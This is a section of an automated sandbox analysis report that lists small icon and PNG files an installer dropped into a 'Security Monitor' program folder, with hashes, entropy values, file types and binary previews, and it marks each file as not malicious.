SHA1:	2D8F80DF55ADB806651E9B90C32C287825EFA9B6
SHA-256:	EABEFD31E31D5141F75E760FCF96F14844F0824BD20C3FAD28C6E7C6AF4342FB
SHA-512:	B4B5CE8697B0B195F5DFF361B7822207CBC8BB07A3318154A4652A663F9715958770B55ED9D8B0F5EE37AC5BCDD19C4D2389E7D644187B86762565ED27613D8D
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................................................................................................t4..z9..z9..z9..t5.....................!.9.&.=.!.9.!.9..v4..q3..z9..H..E...D..z9..q3..q3........OG.X.=.O.-.C.`.v.`.v..x8..W..z9...M.f...5...+...%...+.../...?...I.[.\.s.8.O.[.o.[.o...D.....G...J...X...a...X...O...K...V...U...=...`.t.?.d.S...J...S...a...o...a...J...E.....y..d...B.....J...O...Q...Z...f...s...i...W...N........j............K...../...J...X...[...X...L...b....z.................z..Pi........R.eHc.w.m..s...........V....................U..U.............R.eoQ.d.O.b.M.`.L.^.g.Zl.W..W..W..W..W..W.....................:.JW9.J.9.I.9.I`.....q3$.z<.r3..{=.t5$........................:.K.......9.I......{=..\|......X..\|>.........................;.K......:.J......s4.........\|..v6.........................;.LE;.L.:.K.:.KN......@........t...A..............................................~?!..E..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-JBHVE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.0136328376606665
Encrypted:	false
SSDEEP:	12:A555L5rr5r5r5r5Lr5L5r5L5L5555555L5556DGkD7GPMg:CiGEg
MD5:	D71543D4396E09496F7724F2EB51819D
SHA1:	8C60CABA094161202D8FCBF5E787E83E586A73D5
SHA-256:	52440F7AC22968C6FB7AB07ECB382F8F047B4EB3989843BF5F396B965F2BECFE
SHA-512:	1A6A95B7FDD731F6CFB55F62DB567DD4EC162872081B8B19DF9BDE1530765FB4ED683959B43E73C1E222389EFEA7554401188B4AE0D65ED3BAE4CD124C21A982
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-KF42H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.739434322498255
Encrypted:	false
SSDEEP:	12:iStQidpNKcrw3FGbVzh8MgzemLqu+kqkng6dPEAaRAdViNSOC09YzmLk:i4xuNYBzh8MkeZLRkng6q/RWmSDKYzR
MD5:	5782C8F6C70B8E884FCB822EEF286EBE
SHA1:	66776EDD49D55F0F440FD5DCCF38FC27147076C2
SHA-256:	C067BD4E1DDB1EDA87201D7BA65BEB416C56A9ED486D17454148E9A013A6BD32
SHA-512:	70366DDABF05D4A60C6AE09266A4911CE61268DE7C3E83292A627344AC048A1510F46B48A566790B986AB1264E3FF38FBCC552A3E60A9249D7F1D12E44657CBD
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....................................................................................................................................................................),).....)().)()R....................................................),)JJMJ.kmk.)().989.................................................!$!.\Y\...101.kmk.....................................! !B!$!.)().wxw.........sqs.kik.RUR{9<9!................)()!!$!.RQR.................................cec.BEB.989.....),).)()................................................989.9<9.!$!.................................................xzx.{y{.)().),).........................................................)().101.........................................................)().),).........................................................!$!.)()ckmk.................................................JIJ.)()J....),).............................................ZYZ.)()s............101{Z]Z...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-KN8LA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.758725240902144
Encrypted:	false
SSDEEP:	24:PLiyUaMQzTd2JxkVLDF0b5YPQfmCmGnX49:DFKmR6kVne5YPxCmEa
MD5:	5B29258244BCAD93923044B9CA6349A1
SHA1:	CC6CC6ABE4420DFA97552F5A1FF0DACA652AACE6
SHA-256:	A7D4C1C8C6FCEC92068D60D0DEFBAA38EA75010D01EA753FC913749CC89E8FDF
SHA-512:	AA8345E54E397D1AECE33F8CBE66B12AAB5F373109C787DE7C8C23BB0949A2B184CC1FB2E08CFA66F7374ABFD26EAA21D85857C74B67AEE31590A197971AF15C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.MS{L[u.=.{o.K{)miy..<G......sF.#..d..;F.#S.-:53.ht31n..BLD.0..9E.3,u.s!.2....W_./.....k.h8._.9...\|.s.7(..!..D..&.g..m.9..D.......-..r..#....!.N.V.+U..tu#".!K2..........db\|"}.?.[s\>....x.....1....T.......z....;......lgv.4.\...\|~,...{....Mk........s...&To..y...H..........l.}m.h).....l.`k...@.O.....6$.N8[...k\"...m.'8....o....i..<......X.HM..Z.H..4R&..P.:k.7..?.zH.....9v.u.`..E..\|Dy...UP3Z.5)..).~5.."..H....v...>..H.......f!u.iEF@.M..k..]......NM".1.K.....,....0(}Dl.%...D.D@"...hp^.C[.g.c@$..w_.K...B.&u`\|..\|..66.>@(...r.......`t......#....i...J..,.....T....oN.V...%.......H.n.v.%...i/.4D..)....w<".=...+ +.......Xw."....\|...s.%..#/g5...8..@...l...........[.E&.`%...w......t.U....w99Z...A...F.v.:(M.O<..W..{x!.z4..)p.<.G..Z.X..A...tu........n.n...9.hy..>...~o....i....1.....O...ZK......&.f=...SW../`\M.......".Yds.R..:.CY...~+srI.@...E.?f...W...aI..,\Xyy.........u..G...{...D.P.....X-...k.b..D.Y^.........1....IEND.B`

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-NBMRC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-OA3D2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	563
Entropy (8bit):	7.517174524579319
Encrypted:	false
SSDEEP:	12:6v/7w//AIiO/vrFWdRdGBvXRwnHbMwigmsA7F9fS6ofSZHRQX+K:FB/vrEDdGh0ig8zKzSFk+K
MD5:	DB972EE37A5D0AEF2AEA2FE741B82C1D
SHA1:	C286B9CFEDA3CB6D3E19E1D7747790C52D84D377
SHA-256:	6A09E141A38F22AF46750BA3186AB260B0C566DDCA209B083623D8305BDF14A2
SHA-512:	9F35E67F88A4A250F8F983C8273DFD76F07A8CEEFBF54BA97D73FD1AB4C62508D8999AACD204E73CD04B86A0556AF895CA4BC07A722FB3D6143B7B07FF20BFF6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx...O.A...v...aU<..b.@.F8y!..;.J ..{.w)^ML..../-..0!....GBS.=...v.......v...If.....;.......}.9...k......Q[...YV.........y\|.I\....QUb.....^ HN.....F.y...0r#.d...+.>.`.".....\|....:b..sB.xq..~..]$(U.G....M.;?]\|.....0..I.$\|..7.xz.@....R-......../.....,7C.%.<.".....0N.\|. ........[UU]....0....=.f.2........G...C..p.. ....h...(...r...dR.I.]..h{.d...z~......s_.(U\|..(<J ._.<.+.#,.su3.^.Q&.....ir.j.V....E}...C>.o.m...A..;......E..C./..J...!..I.*....8ij...W._.@;..[.....O.......-V.xD8.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-OEOTK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675
Entropy (8bit):	7.483904311870301
Encrypted:	false
SSDEEP:	12:6v/7doMHmeia+juikJeSnm7XW6rJ5XUkABLVsHAVSjneDkMC1:Ao9La+juxnm55uLPs1
MD5:	BD04877B6C91557B84463719664B0292
SHA1:	6B5783097D914F8A463363843B8D24C6C933DDFE
SHA-256:	B2FE786345D8E1802BAA576C0E359240EA2811BCAB1BADB433743792BB9FAA77
SHA-512:	715C6079A00306A46E221C432336B1A4AD23DA6D8AB6BDE7D9F992DF162AAA04D9332D3BAF84DBD6CBA0D4160DE4DE773F266F556CBBEAA015A5D54DC078D33E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...jIDATx.cd... 6.bQ(.+....o...#.+....gee..\|...o...R.l;....{qg.....5...k.......Qy.)....r..8...4.c..=.Wo.u...8...........tb.J....s..^..S~..c...\..XPQQ.H......>..b......._V.+g..:.N]...........O....._`X.>.........o..&.".^....5..C.M........8y...3f..s..../_...a..>.@Q.PUU....-...6,.>...(.AJJj!..0.,,....!...+ &&&.......xT.S...Z:HC...O.>../,X. .....l.%(...........m..F.W..N....:..SV>X...:q.DGF..@k.].XYYy..Cf..7.J(...e.``...p`.........~...../.....t..O.}P.W.....q....}...;h.....e........A..v.......L....~.. .&0s...{...i...fggO-,,.......={..$......333..3......Kkjj.@...~..kWW..K.N d.8<....;0...[.x5..\.'.i......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-PBMDV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.692568178991757
Encrypted:	false
SSDEEP:	12:6v/7MIPvdQrswMHeAQQI/hnoG82ukRW61fAKmg0sLyVFIMVwIaJ2OnksgHDPkInc:MersR+SIZbnu+FXaYyVBtM2Oksgjlzv4
MD5:	A319CAB2BDD2363F2CE6F71874255367
SHA1:	606F86B9B032C74B9A88240A9A4933B4EA256C52
SHA-256:	0644CF298FE403904496AF78ADDCCDB46C1D3A324BC996A1423F9CC581EBFA39
SHA-512:	D74BB956EF9011436A44617B8DB7519F8335A10F55805BEC4CDB673F971E148614B9A4068146D182BB6024B5774C85CB35A4B10BEC5307F2C367179DEB45E07E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...`IDATx.].Mh.e..w.....Mf..k...BK..B+I..A.%...z(V..b.S...E.=..J...DR.R.P#..d..I..Iv...$......uczp..wx....K.o....;...8$.;Ax...).J..X..;.;...Ru/....<.J.b...`X9x.B.m@I..a-~...Q..p..V...[.....}.h_T.z.........m...6.b......-;..................#pD/........n9.g.....s...F9}..?..</......P..+o.Q.I`f/.^Ma./..\#..N.!..(c....R.S....=.....xX....L.S......}...X._~..8u\....&....p.......w.J..g............1..M...d...x6.......~..yr......[q.......^...@9.efr...:.J....8.O!...X...Y.}.........U."..sbYTm....6.O.5.....[.-.YBK_....W./..x....NVJ..g..e.c..a...../$..&.. sC.t./....].w.na.....4^..S.-..f..Mp....../......;.G.~.+...#..,..<....c.i...E,K&..4D{$.fVaL.\n.....l.WO....,.wL..W$...l.. ..!....c...T.?_e.]...Fd.....h.d..&...m.].4t.u#...^0..y.J....e...Rn..... ...1....U......Av\|}s\|...{#....1..T&......V]J.a..<f..\|..~.b...?U/...e.g..<wM.5.}.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-PCFFO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.518492008840673
Encrypted:	false
SSDEEP:	24:XTZmE/ZYQwseqlUQQSbG1tHhRNyYkTHHSD:XTgEGiSnZiL8
MD5:	6F6B30B331D4B1B52218C3EE9F6008E5
SHA1:	99BB8C47F45B605BA74866586F9B2AC64CAE082A
SHA-256:	E5995C8370B5C383F7B3A60F3A79D3A67650A85C3A954D208E4736F4021BE24E
SHA-512:	1BA21D5611D96D7090F3A9E80E1DBBE34C390E02AA7145354F069253B0D440D488D24F385CC2A0A9469A9D5D9EFED10D4D1F15A8D36969497593A2B60903B885
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................................................................................................v.........@...@...........................................p...Xy..........................p...................0...........X{..Y\|..Z~..[...\.....................0.................Wy..Xz..Y\|..Z}..[...\...........i...`.................P.....Wx..Wz..Y{..Z}..Z~..z...................`...j.........0.........Wy..X{..Y\|..Z~..........................`...`.........p.......Xz..Y\|..Z}..............q..........._..._..._.................Y{..Y}..y...........]...]...^...r......._..._...................Y\|..Z~..............\...]...............^...^...................Z}..y...............\...................]...]...................Z}................[...................]...\.........`...0.....d...Y}..........Z~..z...............[...\...p......... .............d...Y\|..Z}..Z}..d...y...Z}..Z}..Z}..e.......................................n...Y\|..Y\|.......

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-PNRCE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	488
Entropy (8bit):	7.3920224953533245
Encrypted:	false
SSDEEP:	12:6v/7drHlKbwPKM5RMujiE9hN+clw+798b7w6sJ:orHkbwSwMujiE1+V+JukJ
MD5:	694A53E27D606EC219A2701C6DD6926C
SHA1:	E2EF3DA049160DB18AC5AC2D770B3F05F219722A
SHA-256:	0AD6EB5F37D593E9096640D5C0440D108BE85DCBB0C726CB5E0C8802E1B3421B
SHA-512:	B246D42344E90922EFCCFAB836BADC30DBA8E370BEE29E03524B0310FCDC9FEB727BEF32EDB695DD42B72FC99543520B91D8179A83ECC479C709DB9077861216
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..K.a....[J..............D.4...I...Q8.iT.......D$-EC.%G.IP....R+.....4.{....s<......-....!.#H=..p........r....!...z=l6....o.8..$.T}...........N'...\....e.3...C8.n..3..R..-y.....j0cX.x.o...4...#!>!u...X..".....V+.!..<#{E.R.aj....J...,,....O.N..8O.C"... ..6R.l6.7B.....9..%.{.b.L..C.ET..v.=....P..x'.....V.s.V...A<w...9...\....T..E...\|...d;`....,G..O..#i..PD6.....5....n....4..<2.4......`.../S..u.>..;._........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-QF9FB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7197016545374275
Encrypted:	false
SSDEEP:	12:6v/7Mx+Nre92kjEfcc8YhUaUuYE67bCIUMn+VnMUHAqOIjaDD/yJgQGToLYZFN:Z+LqERhUO67bCIZfmAajkj3tyYjN
MD5:	D9F77B09484FECF86DAB1E27B61481C3
SHA1:	D514C22AC2A1AC4B0826E38C48BABD9CBB077F9F
SHA-256:	CBFBDC4F27D2DE65E5F38B4233C967F1781449DE939BDF7451F2548511CF8F95
SHA-512:	606E0E9800296568C06F6015BB6DF091D5B75E516056032FB28CA1508E67AA0E8BBAC978981CA9FF492F54A7CFE02DF233042442F707588E6E8CFD82C7F8B93C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..kHSa......t.4..kj...I0)l.y...ZF.Fe.D.%K.K.....FVH..A.Y..Z..E. .".L..sz.,.\|.}.....wx...O....>... \|.x(x.;!..;S..n..' ...o;.y.TJ!.E)"!.xbh...^..V......,....vG....%.E...7......o]v.l.a..1<_jN24L.hL..,..5q..a.q.V..C.p...=fcup..B.........X^..t......Z.lSX.le@.J..\..kh.B...a.].}(eJl....=e.~..,:C....Sw1..//...W. cd(.[...g0<>....hT.8n.C.<D.i..}`.1...=E.9s~.)u-2............c.m..G.pN..(...:.!a$Y?.W...rN,.A.9...u.X.0292.....Q'.7..T".M...\|...#....".2z'.i.i...,X....+TT7..S..k+..D'...R..q....p....n.`..\..btr..T......D.M...Op.vr,H.T..-.../Fm..T..{....*XG.X...o..qOt`GD..}~....0..Ytm.S{.5.Hvs.mE..yn...=.uC.N....;..O:.....i..R......R.Ix......../..o...x>........7jZ..61.1....6..#..<H. .x...."..H..r...iY.S".Ob.......:cf..L,.9NI...Hgu.........4..`......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-QV038.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.689986023244019
Encrypted:	false
SSDEEP:	12:6v/7hFFKT/SNQRb8l3lGQdnJ5l9hfP5Y3OLHLeTS8T38YuFc5Hdp8rMPLQX:2rW/SNQRgl38UnJ5Vfy3OjLZ8T38YuFz
MD5:	BA4DA486665B6C79F792A39BF6F03ACF
SHA1:	3746A3488D981870D9CDC6FE16DD6C8171DE6E0F
SHA-256:	5444F65B5694092DD587F8C3E8BB44E159556E45688C856BD5F9515FAD6FF2B8
SHA-512:	9C3D87AEB7C2E5CF5FC08DBF666E9DBBBE431EF71BB83D5C769C9F88DDFB41934C404D72985E320B6BAF0C9F1FF45E057B82C76EBA54BFA01BF2456533F3C0D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S]HSa.~..;.gS..,KDSG6I....$..D..........B.X....].".EH.Be%.$^x......!.b.%..s..Y..%..q...>..>...4. .....&s.~W...X}./..YO....R............h.....Ju....$....e...ij.O...\..%..w..pp-..8I.x...5.]..u.$vo.J.(....b..h..TC.K...>1D.p(.po..5.i...}..:.eP..a..edGs.C.v.y2t..)...OGMA..$..J.v....)\|...$.7Ed~.E.[.J..1...n..'.......BaD..[.) ....(~.1PA...U^<@.y.=,5c\'(rYP[.@yN.0...\.)FV..Q......3.hK.Rb?.j.....j^....q"?.......-....'...)..'.QD...7..U.....^...w.g.........>.......o?e..o.>Bl.A.]+d....C..f4..C......7...?..V...RZ.;/D.V..(...G5"...G.wO.L.D..K-.m-. !......`M...p...evT.L..].....:.P.{...@L..R..r[..?.1.`...+N=...i@S"j2......2!.c....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-T7CCP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.6950381846314215
Encrypted:	false
SSDEEP:	12:6v/71dxGeeaA/as1IpxNhX3HqPPwVS2TgW41SeJq5RXB4f4a:oqeeaAT1IpxNhKXNW5VBO4a
MD5:	F38AF891CBBDCD155644E65363A01520
SHA1:	BA161945A3E87EA2B3735165854E8AEF28B4F201
SHA-256:	DEF30878F80E5B00CE9F334170DD6369127C52E03959F5673B7193D8B21EE80D
SHA-512:	AFB7BD4EECEF8B2E9E082E3A7203DC393E92683B4AD2B301072A4BC8C22D710AF740BC553EE92997C714FD80F993A3BE0257EC09FF46C75AEEC3EB615553613C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..iHTQ...o..of..mT,M.@..Q).R"A.......Yb~0+..,../.}.>....X...J..DV..6.3..t.w{c$A.A....=.w.{....j'.....4-.K$T...W.w$...3m.H........ZT._.t6$..4.....\Z.....#.Z.....V.Og.....Z.oxm._..F..:.;,..0..1.Y.i..^....;qs..}..F..m.6].....JH..W.1.......D.....Rn..!O..T,%..z.........{(........,._.....&....#...........9">..#N..?....l.D.dO..&.....4....0..V}$b"u...ly..0....].F....S........b.....U......P.....@&.B....0.A.\~}A....I!..Eg..0.Z...M^........O.2.Z_.4.Jpv..6C...D.td.....94Db..E..7..,.J...J-..2..,..8T....p.#C.k..SU.y..g[..~a^.q.=.C6k....w.IT+4../...eY..p.P..En.....rY... "j.... .^..l......:.p}PS6P........o...fdD..8.S.&..(Z...A...uqD...f.Y.i2.{?s...}.fMNK..u.].z3.....'....K.R....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-TK16E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.304963365030796
Encrypted:	false
SSDEEP:	24:cKwiwjHRFNgmsPn71386ICxQo0hkNNNNN9:cMwjxFpi386Yo0ib
MD5:	19A1D5E299A9AEEF8E449AE555935968
SHA1:	E7C1EA89DE88FEE6B616ABBE5365C5AA3E42F672
SHA-256:	27CC231887F86DDB6FF938C1FBBC2CE319057BF90382B764AF86ED3F9C47CCB8
SHA-512:	973CCD95A012657F00B195AF3558E5E67B2AD194F9261EC3E8FD9FFC4F423E10A730E4D0ABFC4243F91FAD35097BE09D1DD0D1646CFCF1821F1928E23015CB8E
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................................................u...................U...................................@'''.....................[[[....U...........................5kkk.............................OOO.........................))).................J4..:)..@@@........................................qqq.SV..w.,...+.....oN...............................*..............\|./...<...@.mL...........................@...j....bbb.0!........N........s0.....aaa%...........U....[[[.........KKK..m...B.....u.....aaa%............zzz......................................_...............U................GGG.....\\\.PPP.............................OOO.........@@@.6C..h...}...>...........................................J4....+.{.....,.............................................HHH.l...-...I...~..D.................................333.........lL.............f.KKK0............................... ggg..........t......T.aaaJ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-U34QN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	306
Entropy (8bit):	6.791105413587409
Encrypted:	false
SSDEEP:	6:6v/lhPt+HkIXaZ6t6p1+yMqZZQZX08sIfahdKry9Ral0GykkCmgpF6PF2fp:6v/7PIXaZuC+y5Qe8T+NA0lk9pw2x
MD5:	B61B5003FBBE118F371C4AD42F4EF520
SHA1:	CA09B93D1185476243A5A6C91F72DE328E291F1B
SHA-256:	A5535A95335D1898EE2496AA99725F4BD62B229A1AF776F6B237CAA553AF539F
SHA-512:	D3CF0B4E5B2CEA3ECF3C88460B8D566F01C0F50F597D1ABFD0D5D42B0EBB749435BF89976BCCE1B89C19E22D1EBE574FA2DA93DA7D568B0B8D8CBAB0C7281191
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.cd...._....@...:........1.1`?.f.8p...@...o.g..l.n?b........{..i..<....AWW.....E.d..."..7[..\.0..l..5...}B...7...p.l..Dl.......@....0........p..l.z8.W...\|..LH...fx.r.6.&`$es.LP..@.WRudPRqd....{................:..U.Dd.LL..^..d.!.h.....A.....n>7......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-V1EBC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.954587575587282
Encrypted:	false
SSDEEP:	24:mcyV2d56miiGbKZFG8cZWvl24pZYEYmFMQ05lOo4TTTTTTTTTT3:mcJDbGua8cZOlBUEYA906o4TTTTTTTTX
MD5:	A6AF58DFDF7BCB6AE474DC731AEB0819
SHA1:	353D993129D8C0060BDAFF6B32DACCD1D91F37DE
SHA-256:	62B935FEE25DC4480962834A3AC9B21E285C75FA25EB8BF5288BE4EAEEA8F118
SHA-512:	21259178D3D551E232C63B89DA9F2613F0CB0FF6D4D33A150DDAF6DED6795E277845359ADF228BE2741639838F78DFA56554E0D26A77091BC09361ED18611330
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................~e.....r=/..G8.............................................t@3..........bL..fOb.............lZx.ta..s`..t`..o\..kY..lY..lX..mX.\L>.eP..pX..iRX.........r`D.m..o..m..\|g..yg..yg..zf..zd..u_..oZ..v_..rZ..jTZ.........}j\.r...j...m..v..q`..o]..o\..q]..p..v`..pY..t]..lV[..........p[.q....................................rZ..q\[.........s[.u..........................................r[..r][.........x[.w..............se..........q`..............q[..r^[.........}[.x.......................................mX..wc[..........[.~........................................t^..yd[..........[........................................k..}g..ua[..........[.............................i..~i..uaZ..........Z................v..r..u..o..m..n..~i..vcY..........$......................y..w..s..n..k.zg$.............&..Z..W..X..X..X.~X.zX.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-VJHFM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	4.6359350276939795
Encrypted:	false
SSDEEP:	24:dji7RcfMBrFZ4SJP/eM3Oa6xkbHITYphkt:djUcfsr1xG9Ypmt
MD5:	DA65CA13005C823DFDB8A02C0F534EA1
SHA1:	555B00EAB24107ED4B1E86A30E634DED6A3B172C
SHA-256:	73A10CE1010DDF27AD68552766FD5803E9DDAFB7ACE123822E6EB2FD69954D9A
SHA-512:	576FC82838F477AB1806433240C1508184C1E00B5365A2F5719A3FA53DEFD4AE71A6ED5A262F5D174AAF089F46F677332D270C154AC6185E8616DF1D0E53BC17
Malicious:	false
Reputation:	unknown
Preview:	............ .(.......(....... ..... ........................................E...D...........................?.............................................d...~...............................\....M...d.>...m.G...C...C...C...C...F.....{...........................o.C...C...C...C...C...B...B...B...B...o.N................<........C...C...C...B...F.....e.......b.@.B.....\|........?........G...C...C...B...j.J.....................B...F.................C...C...B...n.P.........k.K..........n.B...C.................C...B...T.-.........F...B...C...C...B...C...C.................C...B..........`.=.B...C...C...C...C...C...C................C...A..............B...C...C...C...C...C...C.................H...B.............h.B...C...C...C...C...C...F..............1.......B...i.H....E...C...C...C...C...C...C.....\|........>...........x.Z.B...B...C...C...C...C...C...C...v.V................................J...C...C...C...C...H...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\none.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.0136328376606665
Encrypted:	false
SSDEEP:	12:A555L5rr5r5r5r5Lr5L5r5L5L5555555L5556DGkD7GPMg:CiGEg
MD5:	D71543D4396E09496F7724F2EB51819D
SHA1:	8C60CABA094161202D8FCBF5E787E83E586A73D5
SHA-256:	52440F7AC22968C6FB7AB07ECB382F8F047B4EB3989843BF5F396B965F2BECFE
SHA-512:	1A6A95B7FDD731F6CFB55F62DB567DD4EC162872081B8B19DF9BDE1530765FB4ED683959B43E73C1E222389EFEA7554401188B4AE0D65ED3BAE4CD124C21A982
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\none.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	318
Entropy (8bit):	6.697181871409298
Encrypted:	false
